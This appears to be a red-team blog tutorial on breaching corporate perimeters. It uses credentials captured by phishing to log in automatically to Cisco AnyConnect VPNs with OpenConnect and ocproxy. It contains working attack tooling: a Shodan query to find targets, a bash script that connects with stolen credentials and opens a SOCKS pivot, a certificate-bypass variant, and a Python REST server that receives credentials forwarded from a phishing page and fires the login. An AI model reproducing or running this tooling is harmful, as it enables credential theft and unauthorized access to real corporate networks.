Breaching the Perimeter with OpenConnect and ocproxy

As Red Teamers, we often encounter engagements with targets that may allow remote workers, but require all connections to pass through a central VPN for access to the Corporate assets. These VPNs typically authenticate with two factor authentication or other mechanisms. We will use OpenConnect and ocproxy to automatically log in to a VPN once credentials are acquired from a phishing page.

As I have found myself in this situation many times, I decided to come up with some scripts that help out in gaining Corporate VPN access based on phishing attacks. As long as we acquire a single pair of credentials, we should obtain a fairly persistent connection to the corporate LAN.

Note: This technique works with VPNs that take both 2FA pin+token or with a regular password. It’s up to you to identify the authentication mechanism and decide which pair of credentials to pass to the script.

Identifying Cisco Web VPNs

We can use Shodan in order to search the Internet for VPNs that may match the profile.

"Set-Cookie: webvpn=;"

As of publishing this article, Shodan revealed 72,000+ VPNs. During your initial reconnaissance, you should take note of any VPN access nodes. A typical login page looks like the following.

Default login page

Installing OpenConnect

OpenConnect was initially developed as an SSL VPN client for Cisco AnyConnect SSL VPNs. It has since been ported to include support for Juniper SSL VPNs. Most major distributions provide an official package for OpenConnect.

sudo apt-get install openconnect

Installing ocproxy

ocproxy is a user-level SOCKS forwarding service for OpenConnect. The reason that we prefer a proxy in this case is that most of our external infrastructure is on VPS connections. If we open a normal VPN connection through OpenConnect, by default it routes all of our traffic through the new VPN connection. This usually causes any SSH sessions to die, and we would lose access to our connected node.

This also allows us to manage multiple VPN connections to different targets simultaneously. Just use proxychains to choose which SOCKS port to connect through. For more information on pivoting techniques, check out our cheatsheet.

git clone https://github.com/cernekee/ocproxy && cd ocproxy
sudo apt-get install libevent-dev autoconf automake gcc binutils make
./autogen.sh
./configure
make
cp ocproxy ~/bin/

Scripting the Connection

This script will automate the process of setting up the tun interface, connecting to the proxy, and passing control of the tunnel to ocproxy for establishing a SOCKS proxy. The script takes two arguments. The first is the username, and the second is the password to attempt.

#!/bin/bash

# Change this based on the VPN value
VPNGRP=Default

VPNUSER=$1
VPNPW=$2

VPNURL=https://vpn.example.com

sudo openvpn --mktun --dev tun0 && \
sudo ifconfig tun0 up && \
sudo bash -c "echo '$VPNPW' | /usr/sbin/openconnect --script-tun -s '/home/ubuntu/bin/ocproxy -D 8080' $VPNURL --user=$VPNUSER --authgroup=$VPNGRP --interface=tun0"
sudo ifconfig tun0 down

A lot of companies use internal CAs for issueing certificates to VPN nodes. If you attempt to connect and get SHA1 signature error warnings, then you can force OpenConnect to accept the certificate by changing the line in the script that calls openconnect.

sudo bash -c "echo '$VPNPW' | /usr/sbin/openconnect --servercert sha1:[sha value] --script-tun -s '/home/ubuntu/ocproxy/ocproxy -D 8080' $VPNURL --user=$VPNUSER --authgroup=$VPNGRP --interface=tun0"

If you need to find the fingerprint, try the following.

gnutls-cli -p 443 vpn.example.com | grep 'Public Key ID' -A1

Implementing the Script

Generally, in the past I have implemented a simple REST interface that calls this script with the captured username and password. Then, I update the phishing landing page with a call to forward the credentials to our host running the openconnect script. I’ll show an example of that here. Other implementations are obviously possible, just find a way to pass the username and password form your framework to the script.

virtualenv -p python3 ./.env
. ./.env/bin/activate
pip install psutil
pip install Sanic

The following rest.py file will listen on 0.0.0.0:8000 for HTTP GET requests to /vpn/connect. If takes username and password as input arguments and then SSHes into our OpenConnect box and executes the script with the captured credentials. A request to http://127.0.0.1:8000/vpn/connect?username=bitrot&password=passsword1 will trigger the execution.

You could always run OpenConnect script on the same box. Just change how openconnect.sh is called.

from sanic import Sanic
from sanic.response import json, text
from subprocess import Popen, PIPE
import psutil
import os

app = Sanic(__name__)

@app.route("/vpn/connect", methods=["GET"])
def post_vpn_connect(request):
    if request.args:
        username = request.args.get('username')
        password = request.args.get('password')
        
        for pid in psutil.pids():
            if psutil.Process(pid).name() == 'openconnect':
                return json({'status': 'running'})

        pid = Popen(['ssh', 'user@host','-i', '~/.ssh/id_rsa', '/home/ubuntu/openconnect.sh', username, password],
            stdout=open('/home/ubuntu/openconnect.log', 'w'),
            stderr=open('/home/ubuntu/openconnect.error', 'a'),
            stdin=PIPE,
            preexec_fn=os.setpgrp)

        return json({ 'status': 'started' })
    else:
        return json({ 'status': 'missing username or password' })

app.run(host='0.0.0.0', port=8000)

To execute, simply run

python rest.py

comments powered by Disqus